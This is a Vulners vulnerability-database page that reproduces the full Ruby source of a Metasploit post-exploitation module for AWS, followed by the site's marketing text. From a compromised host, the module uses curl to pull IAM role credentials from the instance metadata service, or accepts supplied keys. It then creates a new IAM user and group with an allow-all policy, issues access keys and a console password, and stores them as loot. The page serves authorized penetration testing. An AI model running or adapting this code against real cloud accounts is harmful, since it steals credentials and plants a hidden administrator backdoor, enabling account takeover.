Lucene search
K

Create an AWS IAM User

🗓️ 22 Nov 2016 22:55:03Reported by Javier Godinez <[email protected]>, Jon Hart <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 39 Views

This module will create an AWS IAM user with Admin privileges

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/aws/client'
require 'json'

class MetasploitModule < Msf::Post
  include Metasploit::Framework::Aws::Client

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Create an AWS IAM User',
        'Description' => %q{
          This module will attempt to create an AWS (Amazon Web Services) IAM
          (Identity and Access Management) user with Admin privileges.
        },
        'License' => MSF_LICENSE,
        'Platform' => %w[unix],
        'SessionTypes' => %w[shell meterpreter],
        'Author' => [
          'Javier Godinez <godinezj[at]gmail.com>',
          'Jon Hart <[email protected]>'
        ],
        'References' => [
          [ 'URL', 'https://github.com/devsecops/bootcamp/raw/master/Week-6/slides/june-DSO-bootcamp-week-six-lesson-three.pdf' ]
        ]
      )
    )

    register_options(
      [
        OptString.new('IAM_USERNAME', [false, 'Name of the user to be created (leave empty or unset to use a random name)', '']),
        OptString.new('IAM_PASSWORD', [false, 'Password to set for the user to be created (leave empty or unset to use a random name)', '']),
        OptString.new('IAM_GROUPNAME', [false, 'Name of the group to be created (leave empty or unset to use a random name)', '']),
        OptBool.new('CREATE_API', [true, 'Add access key ID and secret access key to account (API, CLI, and SDK access)', true]),
        OptBool.new('CREATE_CONSOLE', [true, 'Create an account with a password for accessing the AWS management console', true]),
        OptString.new('AccessKeyId', [false, 'AWS access key', '']),
        OptString.new('SecretAccessKey', [false, 'AWS secret key', '']),
        OptString.new('Token', [false, 'AWS session token', ''])
      ]
    )
    register_advanced_options(
      [
        OptString.new('METADATA_IP', [true, 'The metadata service IP', '169.254.169.254']),
        OptString.new('RHOST', [true, 'AWS IAM Endpoint', 'iam.amazonaws.com']),
        OptPort.new('RPORT', [true, 'AWS IAM Endpoint TCP Port', 443]),
        OptString.new('SSL', [true, 'AWS IAM Endpoint SSL', true]),
        OptString.new('IAM_GROUP_POL', [true, 'IAM group policy to use', '{"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*" }]}']),
        OptString.new('Region', [true, 'The default region', 'us-east-1' ])
      ]
    )
    deregister_options('VHOST')
  end

  def setup
    if !(datastore['CREATE_API'] || datastore['CREATE_CONSOLE'])
      fail_with(Failure::BadConfig, 'Must set one or both of CREATE_API and CREATE_CONSOLE')
    end
  end

  def run
    # setup creds for making IAM API calls
    creds = metadata_creds
    if datastore['AccessKeyId'].empty?
      unless creds.include?('AccessKeyId')
        print_error('Could not find creds')
        return
      end
    else
      creds = {
        'AccessKeyId' => datastore['AccessKeyId'],
        'SecretAccessKey' => datastore['SecretAccessKey']
      }
      creds['Token'] = datastore['Token'] unless datastore['Token'].blank?
    end

    results = {}

    # create user
    username = datastore['IAM_USERNAME'].blank? ? Rex::Text.rand_text_alphanumeric(16) : datastore['IAM_USERNAME']
    print_status("Creating user: #{username}")
    action = 'CreateUser'
    doc = call_iam(creds, 'Action' => action, 'UserName' => username)
    print_results(doc, action)
    results['UserName'] = username

    # create group
    groupname = datastore['IAM_GROUPNAME'].blank? ? username : datastore['IAM_GROUPNAME']
    print_status("Creating group: #{groupname}")
    action = 'CreateGroup'
    doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname)
    print_results(doc, action)
    results['GroupName'] = groupname

    # create group policy
    print_status('Creating group policy')
    pol_doc = datastore['IAM_GROUP_POL']
    action = 'PutGroupPolicy'
    doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname, 'PolicyName' => 'Policy', 'PolicyDocument' => URI::DEFAULT_PARSER.escape(pol_doc))
    print_results(doc, action)

    # add user to group
    print_status("Adding user (#{username}) to group: #{groupname}")
    action = 'AddUserToGroup'
    doc = call_iam(creds, 'Action' => action, 'UserName' => username, 'GroupName' => groupname)
    print_results(doc, action)

    if datastore['CREATE_API']
      # create API keys
      print_status("Creating API Keys for #{username}")
      action = 'CreateAccessKey'
      response = call_iam(creds, 'Action' => action, 'UserName' => username)
      doc = print_results(response, action)
      if doc
        results['SecretAccessKey'] = doc['SecretAccessKey']
        results['AccessKeyId'] = doc['AccessKeyId']
      end
    end

    if datastore['CREATE_CONSOLE']
      print_status("Creating password for #{username}")
      password = datastore['IAM_PASSWORD'].blank? ? Rex::Text.rand_text_alphanumeric(16) : datastore['IAM_PASSWORD']
      action = 'CreateLoginProfile'
      response = call_iam(creds, 'Action' => action, 'UserName' => username, 'Password' => password)
      doc = print_results(response, action)
      results['Password'] = password if doc
    end

    action = 'GetUser'
    response = call_iam(creds, 'Action' => action, 'UserName' => username)
    doc = print_results(response, action)
    return if doc.nil?

    arn = doc['Arn']
    results['AccountId'] = arn[/^arn:aws:iam::(\d+):/, 1]

    keys = results.keys
    table = Rex::Text::Table.new(
      'Header' => 'AWS Account Information',
      'Columns' => keys
    )
    table << results.values
    print_line(table.to_s)

    if results.key?('AccessKeyId')
      print_good('AWS CLI/SDK etc can be accessed by configuring with the above listed values')
    end

    if results.key?('Password')
      print_good("AWS console URL https://#{results['AccountId']}.signin.aws.amazon.com/console may be used to access this account")
    end

    path = store_loot('AWS credentials', 'text/plain', session, JSON.pretty_generate(results))
    print_good('AWS loot stored at: ' + path)
  end

  def metadata_creds
    # TODO: do it for windows/generic way
    cmd_out = cmd_exec('curl --version')
    if cmd_out =~ /^curl \d/
      url = "http://#{datastore['METADATA_IP']}/2012-01-12/meta-data/"
      print_status("#{datastore['METADATA_IP']} - looking for creds...")
      resp = cmd_exec("curl #{url}")
      if resp =~ /^iam.*/
        resp = cmd_exec("curl #{url}iam/")
        if resp =~ /^security-credentials.*/
          resp = cmd_exec("curl #{url}iam/security-credentials/")
          json_out = cmd_exec("curl #{url}iam/security-credentials/#{resp}")
          begin
            return JSON.parse(json_out)
          rescue JSON::ParserError
            print_error 'Could not parse JSON output'
          end
        end
      end
    else
      print_error cmd_out
    end
    {}
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
0.3Low risk
Vulners AI Score0.3
39